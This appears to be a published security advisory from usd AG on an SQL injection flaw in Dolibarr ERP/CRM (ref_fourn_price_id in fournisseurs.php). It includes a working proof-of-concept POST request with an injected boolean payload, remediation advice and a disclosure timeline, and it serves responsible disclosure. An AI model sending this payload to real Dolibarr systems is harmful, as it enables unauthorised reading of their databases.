usd-2019-0067 | Dolibarr ERP/CRM ver. 3.0 – 10.0.4

Advisory ID: usd-2019-0067
CVE Number: Pending
Affected Product: Dolibarr ERP/CRM
Affected Version: 3.0 – 10.0.4
Vulnerability Type: SQL injection
Security Risk: High
Vendor URL:
Vendor Status: Fixed (not verified)


It is possible to execute arbitrary SQL commands by manipulating the ref_fourn_price_id parameter while editing the price of a product, used by /dolibarr/htdocs/product/fournisseurs.php

Proof of Concept (PoC)

The following request can be used to read the current database user:

POST /dolibarr/htdocs/product/fournisseurs.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-DE
Accept-Encoding: gzip, deflate
Referer: http://localhost/dolibarr/htdocs/product/fournisseurs.php?id=1&action=add_price
Content-Type: application/x-www-form-urlencoded
Content-Length: 494
Cookie: DOLSESSID_d62fd6e735d72194222ef3c6d1021d7a=hltic273b6m378p7a1qrqf1b2d
Connection: close
Upgrade-Insecure-Requests: 1

token=$2y$10$TZJzw/3dPdYxPhcc.H1gF.JSduPMJyndwzgx1Bc7Wsd7XSGmOvgMe&action=updateprice&id_fourn=1&ref_fourn=1234&qty=1&tva_tx=0&price=123&price_base_type=HT&remise_percent=&delivery_time_days=&supplier_reputation=-1&ref_fourn_price_id=-2209 OR 9486=9486


It is recommended to use prepared statements. Building the SQL query by hand is always more prone to errors which lead to vulnerabilities. Furthermore, a blacklist attempt to filter user input is not recommend due to its complexity.


  • 2019-11-06 Vulnerability discovered by Daniel Hoffmann
  • 2019-11-13 First contact with vendor
  • 2019-11-27 Vendor released version 10.0.4 which fixes the vulnerability (not verified)
  • 2020-02-05 Security advisory released


This security vulnerability was discovered by Daniel Hoffmann of usd AG.


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to usd AG

In accordance with usd AG’s Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.


The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.